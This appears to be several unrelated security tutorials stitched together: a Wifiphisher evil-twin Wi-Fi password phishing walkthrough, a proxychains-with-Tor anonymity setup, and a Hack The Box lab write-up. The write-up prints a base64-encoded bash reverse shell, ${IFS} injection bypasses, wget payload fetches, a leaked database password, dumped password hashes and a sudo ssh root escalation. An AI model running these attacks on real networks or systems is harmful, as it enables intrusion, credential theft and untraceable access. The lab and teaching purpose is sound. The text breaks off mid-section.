Once cracked, the attacker gains direct access to a domain account, often with elevated privileges, which may lead to the way for lateral movement or even full domain compromise.

And that’s it. Let’s briefly talk Mitigation also ( just for FYI ).

Mitigation

It’s obvious actually

• Don’t use weak password, if Service account password wasn’t weak its hash wouldn’t have been so easily cracked.

• Don’t put Service Account in Domain Admin group. Even if somehow attacker compromises the Service account, it would be useless with standard privileges.

And that’s where it all ends. Hope you grasped it all, if not, this article is not going anywhere. You can give it another go.

I also hope that you enjoyed reading this because I’ve invested quite a bit of time writing this.

If you want to give me feedback on the article, you can write me on linkedin.

I’ll be seeing you in the next one.

The article is for educational purpose. Use it on authorized network and devices only.

Who can follow along ( on authorized networks only ):

• If you have a new PC that has new NIC with chipset that supports Monitored mode ( 6 years or so old ) with Host OS or Dual Booted Kali Linux. ( If you don't know what Monitored mode is or NICs are then don't worry, I've covered them all in prerequisites section of the article )

• If you have an old PC running Kali Linux as Host ( Dual Booted or as single OS ) but you've got an external USB WiFI adapter.

• If you have Virtual Machine Kali and USB WiFi adapter configured in VM and showing as wlan ( wireless interface ) in the VM.

If you can't follow along, no worries. You can still read through, I assure you'll learn a few new things here.

Required Software/tools:

• A USB WiFi adapter that has chipset which supports Monitored mode is required if you're using a Virtual Machine or if your PC has old hardware (preferably dual band adapter - supports both 2.4GHz and 5GHz). I've used ALFA AWUS036ACM.

  

  • You can proceed without an external WiFi USB adapter only if you have a PC with new hardware ( PC that came within last 5 or so year, has newer NIC cards which supports Monitored Mode ) and running a host Kali Linux or Dual Booted Kali Linux, not as Virtual Machine.

  • You may continue to read the article but wouldn't be able to follow along if your PC doesn't have wireless connection support and if it only supports wired connection (Ethernet).

• Linux Distribution preferably Kali Linux ( Host OS or dual booted ).

  • You can configure your VM on your own if you're using a Guest OS as Virtual Machine: If you want to use Virtual Machine then you'll have to find a way to plug your USB adapter into the Oracle's Virtual Box or VMware Machine ( both will have a bit of difference in the way you connect the USB adapter in it ). Do the required and then proceed.

• WifiPhisher tool

Prerequisites:

You can skip the following section if you're already aware about concepts like Dual-Band adapters (2.4GHz, 5GHz), differences between Modem, Router, Access Point | Managed and Monitored mode in NIC | SSID, BSSID and ESSID.

Concepts/terms that'll make the upcoming tutorial more accessible:

2.4GHz vs 5GHz WiFi Frequencies:

What's 2.4GHz and 5GHz? What is this Dual-band adapters?

In WiFi Networks, 2.4GHz and 5GHz are two frequencies that the devices that has wireless capabilities use for communication in the network.

Almost all the devices nowadays use 2.4GHz including the older ones but 5GHz is relatively newer frequency band and isn't supported by all devices but the new ones only.

The devices that come with 5GHz typically supports 2.4GHz as well for backward compatibility.

What's the difference b/w these two?

Both has it's pros and cons. They work best only when a device supports both, why do I say so? Let's see:

• Bandwidth: 2.4GHz has lower bandwidth supports meaning your download and upload speed is lower whereas 5GHz supports higher bandwidth.

• Distance Range: But 2.4GHz has longer range whereas 5GHz has a shorter distance signal range.

• Interference: 2.4 GHz and 5 GHz both frequency signals get affected by presence of an interference ( like walls etc ) but 5Ghz frequency signals drops highly in case of Interference in the way.

So When a device supports both 2.4 and 5 GHz bands and the network the device wants to connect with does too, then:

• If the device connecting to the WiFi router ( or WiFi adapter ) is close-by then the bandwidth will be higher. This will provide good performance and speed.

• If the device connecting to the router ( or WiFi adapter ) is farther then it will switch to 2.4GHz frequency band to connect with the same router ( or WiFi adapter ). This will prevent connection loss.

WiFi, Modem, Router and AP:

Let's talk a bit about what is a modem, router, Access Point and WiFi as well. More importantly though, we'll look at the end, where they are placed in a network.

WiFi - is a technology that enables devices to connect to network/devices wireless without any physical connection to a network.

Modem - converts digital signals coming from your computers to analog, sending it to internet and vice-versa.

Router - A device that enables wireless devices ( like mobile phones, laptop ) and wired devices ( that uses ethernet ) to join together in a LAN. It broadcasts 2.4GHz and 5GHz signals ( if it's a dual band WiFi router ) so that the wireless devices can join in the LAN and the wired devices will use the Ethernet to directly connect to it and be a part of that LAN.

Routers has an inbuilt Firewall and also uses DHCP which provides free available IP address in the network to the devices that connect to it.

Wireless Access Point ( AP ) - A Wireless Access Point is a device that looks similar to the router but works just like a Wireless extension. Let me explain..

• Let's say you have a WiFi router in your office placed on the 2nd floor, the office being a four floors premise.

• The signal on the floor where the router is placed, is good but the other three floor especially the fourth floor's wireless devices can't connect to this router ( even if we were to take Ethernet cable connected to the router from the 2nd floor to the 4th one, the devices are wireless so they can't connect to it).

• So here we'll take the Ethernet cable from router and connect it with an Access Point. This access point will now emit the same signals as the router and let the wireless devices from the fourth floor connect to it, hence connecting to the router.

• It basically works as the signal amplifier ( repeater ) for wireless devices.

So in series, Modem is the device that's part of Service Provider Network which connect through to the internet, after which a router comes, to which is connected an Access Point ( if required ).

Internet -> ( Internet Service Provider->Modem ) -> Router -> Access Point (optional)

Image-source: lazyadmin

Note:

Even though Modems are still widely used. Nowadays they are going out of commission as these days FTTP ( Fiber To The Premises ), fiber optic cables are used to deliver internet connectivity to the user's home/premises. These don't require Modem in place, instead require an ONT - Optical Network Terminal which converts optical signals into digital and vice-versa.

Sometimes, ISPs provide Direct Ethernet Connection to the user's home, in that case also, the Modem is absent.

Wireless NIC's Managed vs Monitored Mode:

In Wireless networking i.e., where the WiFi is in use, you'll come across these two terms way too often especially if you're a security professional tasked to do Network audit or assessment. So Let's understand them briefly.

Network Interface Card ( NIC ) is hardware ( typically builtin to your computer ) that enables it to connect to a network.

Wireless NICs only operate using wireless technologies like WiFi.

These are two modes that a wireless NIC ( with WiFi support ) operates with that you should be aware of, for the article:

Managed Mode:

• It is the default operating mode of NICs.

• In Managed mode, the NIC or adapter (NICs are builtin in adapters) acts as a client device which tries to connect with an Access Point or a WiFi router.

• In this mode, It only captures the packet that is meant for it ( which includes it's MAC address in the destination header ).

Monitored Mode:

• Also called as Promiscuous or RFMON ( Radio Frequency Monitoring ) Mode.

• In Monitored Mode, the NIC or adapter listens to all and set to capture all the wireless traffic around it.

• It doesn't matter if the device is a part of the network or not, it will listen to all the WiFi signals around it regardless.

Run the following command:

iwconfig

• This command will list wireless interfaces plugged or builtin to your PC and the network info that it is connected to.

• There's one Wireless Local Area Network ( WLAN ) connection that I'm part of, appearing as Interface "wlan0" in my system.

• The Network that I'm connect to is named as "Tattakeanand_". We'll talk about the ESSID thing later, don't worry about it at the moment.

• The Mode that's it's operating with at the moment is Managed Mode.

• The Frequency band that the NIC ( of whatever I'm connected to, could be WiFi adapter or a mobile device hotspot etc ) is operating with is 5GHz.

  • For your reference I've included my device's preferred frequency band that its operating with:

    

• The Access Point's MAC address ( the router's or mobile hotspot's MAC address that you're connecting with )

Now I just plugged in my ALFA adapter but haven't yet connected it to any network. It started showing as an interface named "wlan1" as you can see.

• But it doesn't show any ESSID ( network name ) or Access Point because as mentioned, we're still not connected to any network.

• After connecting it to another network (5GHz band network):

The attack will not require you to do anything, but the tool ( wifiPhisher ) will do everything but still I've discussed it so that you understand how the tool's actually working.

SSID vs BSSID vs ESSID

Sure you'd have seen this before many times when you turn your mobile's or Computer's WiFi on.

SSID

• Network names in the image above, these are what we call SSID ( network name ), stands for Service Set Identifier.

• SSIDs are typically human readable network names that we use to identify the network we want to connect with.

• Example: "Tattakeanand_"

ESSID

• But wait SSID listed in your WiFi can be an ESSID ( Extended Service Set Identifier ) too, how? Let's see..

• Let's say that you're trying to connect to a network in a medium to large office or house area.

  • In such places there would be a Wireless Access Point (AP) in place connected with Ethernet wire to the main WiFi Router ( recall the Access Point part discussed previously in the prerequisites ), to extend the network range so that farther WiFi devices can connect to the same router using that AP.

  • This AP will have the same network name "Tattakeanand_" as we're connecting to the same network ( the Router ), but we now call it an ESSID not SSID.

  • As we've extended the network by adding an AP and the SSID that shows in the farther part of building ( medium to large office or home ) is being broadcast by the AP and not router.

  • As the broadcast of SSID ( network name ) is being done by an Extension i.e., the AP, the SSID will now be called as ESSID ( Extended SSID ).

Note: SSID and ESSID are often used interchangeable.

Run iwconfig command again:

• ESSID: "Tattaeanand_", do you understand this now? I hope you do.

BSSID

• stands for Basic Service Set Identifier.

• Even though you see the network names as human readable when you turn on your WiFi, the computers can't use that.

• They use the BSSID, which is actually the MAC address of the network AP that's broadcasting its network name to any WiFI device around.

Rogue Access Point ( AP ):

• Rogue AP is an access point that is introduced in a network without any authorization by the network owner or the network admins.

• We'll be spawning one Rogue AP in the upcoming attack demonstration with the help of WifiPhisher tool using on the wireless interface.

Not going to lie, that was a lot for prerequisites. Anyways the following attack itself will be shorter as you already know quite a lot and now I won't have to explain everything thoroughly.

Let's debrief here a bit if you read through all of the Prerequisites section. If needed, read through it all in a dash one more time.

Let's start the Attack

Note for Virtual Machine Users: Again I will mention it one more time as I did in the beginning, I'm using Kali as Host OS and this article sees things with that POV only. If you're using Virtual Machine, the attack part would be the same but before that you'll have to configure your VM so that the USB WiFI adapter shows as wlan0 or wlan1 ( wireless interface ) inside your virtual box. A lot of times, Virtual Machines by default take your interface connection's as ethernet ( wired ) even when you're using wireless.

I'm assuming now that you've satisfied all the requirements and are aware about the concepts discussed in Prerequisites section.

Attacker's POV - WifiPhisher

Our attack is heavily going to be based on wifiphisher tool.

Starting with first command:

Check for what wireless interfaces are available:

• we have two; wlan0 (builtin) and wlan1 (external USB WiFI adapter) both connected to same network "Tattakeanand_".

  Note down the SSID of the one network that we're authorized to do the attack on:

  • Warning: Select the network that you own and have authorization to conduct such attacks on.

• For the demonstration, the network selected is "Tattakeanand_".

Note: before proceeding further from here, you should save and close everything if you've any application running or etc.

Next we'll use wifiphisher on one of the wireless interfaces ( wlan0 ), with the target network SSID ( Tattakenanad_ ) :

sudo wifiphisher -i wlan0 -e "Tattkeanand_"

• "-i" for interface

• "-e" for target ESSID. This will be the ESSID that'll be used for deploying a rogue Acess Point ( AP ) on the interface that we've selected.

You can explore all the other options in this tool using the following command but this is enough for our attack:

wifiphisher -h

Everything next will be selection based only, you'll not be needing to run any command.

• As soon as you run the command, you'll see somethings quickly pass-by and then be prompted to choose from 4 options:

You can try each one out later but for the time we'll go with Firmware Upgrade Page.

But before we proceed further, let's see the screen that quickly passed by your screen before this window appeared:

• First the wifiphisher creates a "wfphshr-wlan0" interface for de-authenticating the user if its connected to the "Tattakeanand_" network by sending the deAuth probes by trying to appear as legit Tattakeanand_ AP.

  • A lot of times you'll see this fail in de-authenticating the device. No worries our attack will very well be effective enough.

• wlan0 is the interface that's being used to deploy a Rogue Access Point.

• Then it changes the BSSID ( i.e., the MAC address ) of the AP.

• Then it also starts a DHCP server so when a device connects to it, it assigns an available IP from the IP table to it.

A proper setup is ready.

Now let's come back to the "Firmware upgrade Page" option.

Select the option, again you'll see something quickly pass through your screen and then the following window appear on your screen:

• Keep an eye on the right three columns.

Let's again look at the "Something" that passed through the screen:

• It says it selected Firmware upgrade Page ( which we choose ), then started the fake access point ( AP ) and then hosted a HTTP/HTTPS server at port 8080 and 443.

• Great, you'll see how this web server will come in play for Phishing and harvesting the victim's credential.

Coming back to the window that we were at:

• As mentioned keep an eye on left especially on HTTP requests when trying to connect the victim ( victim is supposed to be your own device or a device that you're authorized to test this on ).

Victim's POV:

Now let's see what the victim sees.

• When Victim turns on the WiFi it sees two network with same SSID Tattakeanand_ appear on its screen.

Now as soon as the Victim's screen shows the Rogue AP, it gets reflected on attacker side at Extensions feed:

• It says that the Victim with MAC address has received ( probed ) Evil Twin AP's ESSID. Makes sense, right?

Assuming that the victim would go ahead and click on the first one ( chooses to go with one of the two random SSID appearing on the screen ) then it would be served with the Firmware update page using the HTTP/HTTPS server deployed on 8080 and 443 respectively.

Note: You'll see sometimes that 2 SSIDs aren't appearing which means either you're out of range or something similar has happened.

• Now I ( as victim ) went ahead and clicked on the Rogue AP's SSID which will lead me to the firmware upgrade page:

• This looks more than legit to me and hence so it will to the victim. But look at the domain name ( connectivitycheck.gstatic.com ). That doesn't make much sense, but victim will often ( more than often actually ) overlook that and proceed anyways.

While this page is opened on Victim's screen, this too get's reflected on attacker's screen:

• It says the device with IP 10.0.0.25 is making GET request for the given url page, which we saw on victim's screen.

Assuming that the I (victim) checked on I Agree .... then typed the password and clicked on start upgrade. We'll now come back at the Attacker's screen.

Returning to Attacker's POV:

As soon as the victim click's on start upgrade, the attacker's screen will see a POST request made:

• This POST request will have the Victim's password captured.

We successfully harvested the Victim's password. YEAH!!

Stop the Rogue AP, HTTP/HTTPS server and the entire attack by pressing CTRL + C:

• All the passwords captured will be displayed at the end when you stop the attack.

"ThisIsMyPassword" is what I entered when filling the Firmware Upgrade key and that's what it is showing.

So yeah we did it!

Concluding:

• You should try other options on your own especially the OAuth one which presents the victim with a facebook login page.

You can expand on it and do more fun on your own with this but be warned that this is supposed to be conducted on authorized devices and networks only.

That's a wrap.

Brief on Proxy, Proxy Chain and TOR;

Proxy:

Simply put, it's the node that presents your request but using it's own details like IP address. This makes the source of request tracking just a bit lengthy. But as we're just using a single proxy, going back one step can make the request source known.

Proxy-Chain:

Let's make it difficult and more lengthy then, let's chain multiple proxies together, each one forwarding our request to the next one until the last proxy server is reached when then will forward the request to the destination server.
This just made the request source origin tractability a whole lot more difficult.

• Each proxy in the chain only knows about the previous and next proxies, not the original source of the traffic.

TOR ( The Onion Router ):

TOR is a network of volunteered nodes, traffic going through this network is encrypted. So if we put this in with Proxy-chain what will happen? It will make it even more difficult trace request source ( lets say us ) as our traffic is not only hoping through multiple proxies but also adding TOR in this making the traffic encrypted.

Dope shit right?

• By using Tor as one of the proxies, your internet traffic gets encrypted and routed through the Tor network, making it difficult for anyone to trace the origin of the communication.

Setting Up Proxy Chain;

In case you are using another Linux variant then you can just install it using your respective pkg manager.

In Debian based system, like Ubuntu, Kali Linux, Parrot OS, etc you can simply run sudo apt install proxychains. It should install proxychains which you will be able to access through /etc directory as discussed later.

I’m assuming you are using Kali Linux here.

If your Proxy Chain file is not there in /etc directory, then you can use the locate command to find it:

locate proxychain4.conf

To edit your proxy chain configuration file:

sudo nano /etc/proxychains4.conf

Now that you have the proxy chain configuration file opened in the editor, you'll notice that there are 4 different modes ( each mode or type with its different way of connecting ) that we can configure our proxy chain to use:

• To use other proxy-chain modes ( type ), simply comment the active one and un-commnet the one that you want to use ( add or remove the # sign at the beginning of the line ).

• I changed mine to dynamic_chain as it doesn't mandate that all proxies must be online unlike strict_chain.

  • This is important because if one of the proxies is down in the strict_chain then you won't be able to send traffic using this proxy-chain.

  • So you have to change it to either dynamic or round-robin as both of these skip the proxy that isn't online in the chain.

• An explanation for each mode is there in the file itself, so read it through if you want to know how these modes are different from each other.

Now as we'll be using the proxy chain with TOR, it really doesn't matter which type of proxy chain we choose.

• Also, make sure that the proxy_dns is un-commented in the configuration file.

• This proxy_dns option when set to on, it means that DNS requests made by applications using ProxyChains will also be routed through the proxy servers in your chain.

• This can help enhance our anonymity and privacy because it ensures that DNS queries don't bypass the proxy and reveal our real IP address to the DNS server.

There are other options for proxy_dns like proxy_dns_old and proxy_dns_daemon, you can explore them on your own if it interests you, as I'm trying to keep this article short and straight to the point.

Now if you scroll down to the conf file, you'll see [ProxyList], which is where we add our proxies.

• Also, you'll notice here that it is already set to use tor ( by default )

• And you'll see socks4 your proxy server that running on localhost at 9050:

• It doesn't really matter much so you can skip adding this entry, socks5 it's optional .Add another entry with the same IP and port with with socks5 protocol.

Optional ( but Important ):

Note: You can provide entry for free public proxy servers as well here instead of using your own system ( 127.0.0.1 means localhost, making your own system as part of the chain )

• you can get the list of free public proxy server list on Github or a trusted site.

• Here's two that I found: link to external site or Github link

Anyways before proceeding make sure you check each server from the list for the server that you want to use has a decent speed ( less ping ), preferably high anonymity and also availability ( Uptime ), you're not choosing to use dynamic-chain or similar chain that skips dead or non-responsive proxies as it might make your request response retrieval way too time consuming, might not even . Example:

• If you're using a proxy from github proxy list then you can use this tool to check such details.

Anyways, now make an entry of the protocol that it's using, it's IP and port. Make sure you note these three things while filtering the servers that you want to use in the proxy chain.

• Examples are already there, you have to make the entry in the same way you made for localhost ( 127.0.0.1 ).

• Some proxy server even have username and password. That's what they are in the examples "lamer" is username and "secret" is password for 192.168.67.78 proxy server example.

If you're wondering about what the heck is socks, well simply put, Socks is a protocol used by proxy servers. This protocol facilitates the connection and routing of traffic between clients and servers through a proxy server. You can use HTTP or HTTPS as the protocol instead of socks4 or 5 as well, it's up to you.

This protocol operates at the Transport Layer in the OSI Model ( the layer where TCP or UDP is decided upon and used based on the requirement of the connection ).

• socks4 primarily supports TCP only.

• whereas socks5 adds the support for UDP.

That's why I told you to add an entry for socks5 as it's going to make your connection UDP-compatible.

Anyways, save the file by using ctrl+x --> press y --> press Enter

Setting up TOR;

Now we need to install TOR if we don't already have it in our system.

• Open a terminal and install TOR:

sudo apt install tor

Now we have tor installed but its service ( daemon ) is not running yet:

sudo systemctl status tor

So let's start the daemon ( background process ) as well:

sudo systemctl start tor

• Now check if the tor is active or not ( use the systemctl status tor command ).

Using and Testing the Connection;

Now we're all set but we're not yet using proxy-chain.

To do that we'll need to type proxychains followed by the command or package that we want to use through this traffic:

Now Let's test this using dnsleaktest.com:

proxychains firefox #or your preferred browser to open it using proxychian

Now go to dnsleaktest.com.

• you'll see that it shows us a different location and an IP that isn't yours ( country )

Now you can click on Standard test ( or Extented test ) for more details :

So yeah that's it. We have successfully been able to set-up proxy chain with TOR.

Hope you enjoyed this because I definitely did enjoy writing this one.

Nothing is 100% bulletproof:

While this method improves anonymity significantly, it's important to note that complete anonymity is challenging to achieve, and using such tools and methods doesn't guarantee 100% privacy.

Disclaimer:

I don't promote you into using this for an illegal purpose. Use this for Ethical Purpose only.

See you soon, PEACE!!

After having made a connection using your OpenVPN file with Hack The Box. Spawn the machine. Ping the IP of the machine to check if it's alive in your network or not.

Mapping ( Recon )

Let's now start with an Nmap scan on the target machine:

sudo nmap -sV 10.10.10.230 -v

-sV = for version detection of each service associated with the ports discovered.

-v = verbose ( enables the scan to give real-time output on the terminal which is elaborate and easy to understand )

Know that the Nmap scan with no ports specified will always scan the first 1000 ports by default.

with -sC ( default script switch ):

So from the above Nmap scan, we find 2 ports open:

• 22 TCP - SSH : which also tells us about the OS ( ubuntu ) in the version section, running on the target

• 80 TCP - HTTP - nginx server ( version: 1.18.0 - Ubuntu )

Great, we can access whatever app is running on port 80 with our browser, but for that, we'll also need to configure our /etc/hosts file so that our system recognizes the hostname of the target machine when we try to access it using port 80 in our web-browser.

So let's add the IP of the machine in the hosts file:

sudo nano /etc/hosts

Then make an entry for this machine here:

Save it using --> ctrl + x --> press y --> press Enter.

Now we should be able to browse whatever is running on port 80 of this machine, so let's see:

Next, we'll be trying to expand our attack surface and see if there's accidental exposure of an endpoint or something.

Starting with the directory Brute-Force (a more technically correct term would be sub-directory ):

• We find a lot of endpoints in this with 200 status codes, good.

• Now we'll browse each of these except the ones that are the obvious ones like /login, /index, etc.. and see if they contain something juicy.

• Just with one look at the valid endpoints, we see two points that should be noted and investigated:

  • /actuators/sessions

  • /admin --> is not accessible but we know that it exists, we can use this later.

If we visit the sessions endpoint, we see something that could be interesting:

{"5CB197594DB7A38DDFCF5F2D037EC11E":"kanderson"}

# don't copy, this is going to be different for you.

• One's username and other thing appears like a token or something, grab and keep it for later.

NOTE

IMPORTANT NOTE - Note that the session ID keeps changing constantly in this web app, I was stuck here for quite a bit, just a heads up.

Not Relevant for solving this machine ( you can skip this- only for absolute beginners ):

This is not relevant to gaining shell or flags but is just for knowledge. If you browse through all the valid endpoints, you'll find /actuators/beans also leak a lot of unnecessary information:

Now this is of course hard to read so we'll use a JSON beautifier ( Js ) to make it readable and pretty:

Now it is a bit readable:

• You can now read through the entire code, and maybe find something useful in a real pentest but here it is not so much of use. So we're going to leave it right here.

NOTE- Don't use web-based beautifiers in real pentest, you shouldn't trust these free services. They might be stealing what you upload in the backend without you noticing. It is considered good practice to use an offline beatifier or code one yourself.

Back to the real thing!!

Chaining flaws while mapping the web app:

With the help of directory brute-force, we discovered two endpoints, /login ( obvious one ) and /admin ( not so obvious ).

So let's go to /admin endpoint. We see that it directs us back to login page. This would happen as we saw in the dirsearch result. It gave us a 401 status code, which means unauthorized.

But we know another end-point ( actuator/sessions ) which by the name itself says that it contains session-related information and we saw that it actually had something in JSON format with the username "Kanderson". So let's try and access this end-point again and grab the token-like string ( which is highly likely a session ID ):

After grabbing this string, go back to the /admin tab ( or /login now because of redirection ) in your browser.

• Inspect the page and go to the Storage tab if you're using Firefox ( Application tab in Brave) and find the cookies section, where you'll see a sessionID header and value.

• Replace the value with the one that you grabbed:

Brave:

Firefox (recommended as you can easily set burp-proxy with the help of the foxy-proxy extension in this browser, if you don't already know how to set foxy-proxy in Firefox to capture requests in burp, then refer to this video):

• Now refresh the page and you'll see that it now shows us a Dashboard:

Great! That's progress. We've hijacked a session successfully.

Alternatively, we could have used the burp suite for the job.

Anyways, coming back to the process. We have a Dashboard.

In the Dashboard, we see a section below, which says connection settings:

• It also specifies a line that talks about something related to SSH in the connection. With this, we take the assumption that this connection is SSH only.

• Also, we notice that the Connection setting has two fields Hostname and username. Hostname which resolves to an IP behind the scene which we mentioned in the /etc/hosts file right after having started this machine.

  • We know that SSH has a command that uses these two; hostname ( IP ) and username for the connection. E.g., SSH username@hostname(IP)

  • This makes our assumption even stronger.

So let's test this in burp.

Let's turn on the foxy-proxy burp profile and then fill in this connection setting and intercept ( or capture it from the HTTP history tab in the proxy menu ) it in the burp:

Now we'll test the host and username.

We see that the web app response is revealing something when we make a request without a username:

• It appears that the web app is executing an SSH command to bind our machine and server.

• So there is a probability this point is vulnerable to command injection as a command is being executed based on the user inputs here. Let's see if the vulnerability is really there or not:

• So when we insert "whoami" command in the request and send it, the response confirms it even more;

  • /bin/bash - It appears whatever we're inputting is being executed in a bash terminal.

  • command not found - a typical response that we get in the terminal when the command utility isn't in the system.

This time, we see SSH in use again.

Both username and host are there in response in the same format that the SSH uses (SSH username@hostname ). We know that the username is "whoami" and "test" is the host in the request.

In the response, we see whoami@test: command not found - this means our input username and host are being executed in the server terminal of this machine.

Great!

Now we'll try and exploit this.

Attempting to Exploit:

Now we had it confirmed earlier in a response that the server is using a bash terminal, so we'll use a bash reverse shell payload while listening on our local system:

bash -i >& /dev/tcp/10.10.16.4/9001 0>&1

Use revshells.com or something to generate a payload, use your IP ( VPN tunnel - tun IP ) and the port that you have set your machine to listen at while crafting your payload.

Initial Shell:

Instead of using bash at the beginning of our payload, we'll use the absolute path of the bash ( /bin/bash )

bash -i >& /dev/tcp/10.10.16.4/9001 0>&1 # don't use this

Use this:

/bin/bash -i >& /dev/tcp/10.10.16.4/9001 0>&1

You do this in the revshells.com as well:

Now choose the encoding ( base64 ):

Now we'll craft the payload that should work:

test|{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvOTAwMSAwPiYx}|{base64,-d}|bash|

Payload structure:
- test is the user ( that we put in the beginning to bypass app's logic ).

• | is a pipe operator used to append different commands.

• Any command that needs a space in the middle ( like echo payload-string has a whitespace in the middle) has been put into curl-braces which allows us to use, it as the break point ( space ). This is helping us to bypass the whitespace error from the app.

• {base64,-d} is decoding the echoed payload string "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvOTAwMSAwPiYx" back to "/bin/bash -i >& /dev/tcp/10.10.16.4/9001 0>&1".

• bash is executing the decoded payload using bash shell.

Local listener:

That did take way more than I expected! Behind the scene, I've failed quite a few times while trying to gain this initial shell itself. I've shared it in the last so you can read it if you'd like.

Making the shell stable:

Now that we have a shell, we can either stabilize it or continue like this. Stabilizing the shell is good as it will allow you to tab-complete, use the previous command with arrow keys, give you a shell with better stability (connection stability) and much more.

# making the shell stable
python3 -c 'import pty;pty.spawn("/bin/bash")' # first step

Second step: Press ctrl + z, to suspend this shell and keep it in the background.

stty raw -echo; fg # third step

Press enter once so that you are able to see the cozyhosting shell again:

stty rows 24 columns 80 #fourth step

You would have now gained a stable interactive shell.

To confirm, just type cat then press tab, if it auto-completes with the name of the file in the directory ( which is a .jar zip file ) then it's been successfully stabilized.

Enumerating through the vulnerable machine:

Anyways proceeding further:

• There's a user named Josh, so I tried accessing the user's home directory, but it says "Permission denied".

• So we revert back to what we have access of:

We see there's a .jar file in the /app directory. Let's get that from the remote system to our own and inspect it thoroughly. It might contain something useful:

To Do that we'll first check if the remote system has python or not, it is there, great. Now we'll host a simple Python server on the remote system in the /app directory on the port that's not already in use :

python3 -m http.server 9001

Now browse the machine's ip:9001:

• Download it.

Now let's unzip it and analyze it thoroughly:

# If you don't already have jdk installed
sudo apt install openjdk-11-jdk

#To unzip it
jar xvf cloudhosting-0.0.1.jar

I've moved these three into separate directory: ExtractedJar.

Now let's see if it has passwords in its content:

egrep "password" -iR .

This command recursively(-iR) looks for the word "password" in the current directory(.).

password=Vg&nvzAQ7XxR

• Out of all the "password" keyword, there's one that appears to contain a real password value. As shown above.

Accesing Database:

The first thing that pops up in our head is that this password could be used for SSH. but no that is not the case, the password extracted is not of SSH:

So let's see what ports are open on the machine based on which we can research the services that use those ports:

ss -tuln
#you can telnet as well.

A quick Google search says it's the default port for Postgresql:

So we found Postgresql running at 127.0.0.1:5432. Let's try and log in to this using the password that we got:

psql -h 127.0.0.01 -p 5432 -U postgres

Dope! we're in.

\list for the list of databases:

\c to connect to that database:

\d to list tables in current database cozyhosting:

Now to see all the contents in users table:

SELECT * FROM users;

Grab the password hashes.

   name    |                           password                           | role

-----------+--------------------------------------------------------------+-----
--
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi
n

• We see there's a password for admin, we'll try and crack it.

• You can use either hash cat or john the ripper or even a web based hash identifier:

• Online hash identifier: ( note that this is way too less effective while cracking a password, the password happens to be a leaked password and weak that's why it was able to identify it so easily by running it through its collection of wordlists )

• john the ripper:

  • We'll be using rockyou.txt wordlist for this one:

sudo gunzip /usr/share/wordlists/rockyou.txt.gz # to unzip rockyou.txt.gz file

And we have successfully cracked the password.

Great!

Getting an SSH shell:

Let's try logging in as admin through SSH using this password:

Okay let's try logging in as Josh then:

TADAA! it worked.

User Flag:

Let's just first grab the user flag:

Privilege escalation:

First thing, we'll check if we ( josh ) can run anything with root privilege or not using the command sudo -l :

• There is an SSH binary that we're allowed to run with root-level privilege. Great, we've found our way in as root to the machine.

Let's exploit this:

As we've found SSH binary, we'll search for it on GTFObins.

If you don't already know what GTFObins is, know that GTFOBins is a carefully collected list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

Search SSH on GTFObins and click on the link that appears:

Now if you scroll down you'll see a sudo function:

• It mentions that the privilege is maintained if the user is allowed to run this SSH binary as root ( super user ).

• It says we'll be able to spawn interactive root shell through Proxycommand option.

So we'll use this:

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

• It appears that we're now root as the # sign has started to show up in the terminal.

Root Flag:

• Let's quickly grab the root flag now:

And there we did it.

Failed attempts ( optional read ):

• From here on, everything is optional to read.

• But know that reading these will make you better equipped for more CTFs and machines like these.

• The following might contain redundant lines or concepts from above.

First Failed Attempt:

Craft a payload containing reverse shell script:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.4/9001 0>&1
#revshells.sh reverse shell script

We'll make a reverse shell script with this payload and upload this on the vulnerable machine using this point which is vulnerable to command injection. Then make it executable and while listening on local machines, execute it to get a reverse shell.

So let's just first listen on a port where we're keeping our revshells.sh file:

Let's see if we can request our machine through that tampered request with the injected command :

wget 10.10.16.4:9001/revshell.sh

We tried uploading the reverse shell script to the vulnerable machine but the app response says that the username value can't contain white space but our command wget has one. So need a way to bypass:

Well there's a solution to this: IFS

• Just know this much, IFS is a special variable in unix or unix-based OS ( Linux-ubuntu ). IFS by default has a value of space. We call this variable using ${IFS}.

• So we can put this variable call in place of white space, the app will see that there's no space so we should be able to bypass the white space error and then when the request reaches the server, it will recognize this ${IFS} as a call to IFS variable which will end up interpreted as a space on the terminal and hence we will be able to execute the command hopefully:

•         #the injected command
          $(wget${IFS}10.10.16.4:9001/revshells.sh)
  

Our local listener:

• Good! we'er able to connect back from the remote vulnerable machine to our system.

• We used wget command in the request containing the payload that's why it says User-Agent: wget.

Let's now finally use this to get a reverse shell on the system.

But this time I'm using a Python simple server hosted on my system where revshell.sh script is at port 9001:

python3 -m http.server 9001

#payload
$(wget${IFS}-P${IFS}/tmp/revshell.sh${IFS}10.10.16.4:9001/revshell.sh)

• Every time I use ${IFS}, that means a space is there. So the actual command that will be executed on the remote vulnerable machine is:

wget -P /tmp/revshell.sh 10.10.16.4:9001/revshell.sh

• So here we're fetching the revshell.sh script from our system and then move it to the /tmp directory with the same name revshell.sh

As soon as we send this request we see a log at our python server with 200 status code, which means we're able to successfully upload the rev shell.sh script to the remote /tmp directory:

Now We need to make it executable and then finally execute it.

#chmod 755 /tmp/revshell.sh
$(chmod${IFS}755${IFS}/tmp/revshell.sh

Now to finally execute it, first, we'll listen on our system on 9001 using netcat:

nc -lvnp 9001

And inject the execution code:

• It did not give me a shell ;(

Second Failed Attempt:

1. First, the problem is that our payload can't contain whitespace as the app will end up throwing an error if we do:

1. The second problem is the & in our payload:

   • & in the request "host=test&username=whatever" marks a new parameter, so if did send our payload as it is, the web app will break it in three different parameters which will ruin our payload:

   •             #The actual payload: 
                 bash -i >& /dev/tcp/10.10.16.4/9001 0>&1
     
                 #Web app's interpetation as 2 param.. becuase of & in the payload:
                 bash -i #1st parameter
                  /dev/tcp/10.10.16.4/9001 0> #2nd Parameter
                 1 #3rd parameter
     

Now we'll attempt bypassing this but before we start attempting to connect back to our system from the web app's server, we'll spin up a listener on our system:

nc -lvnp 9001 #9001 is what my payload contains

1. The solution to Whitespace:

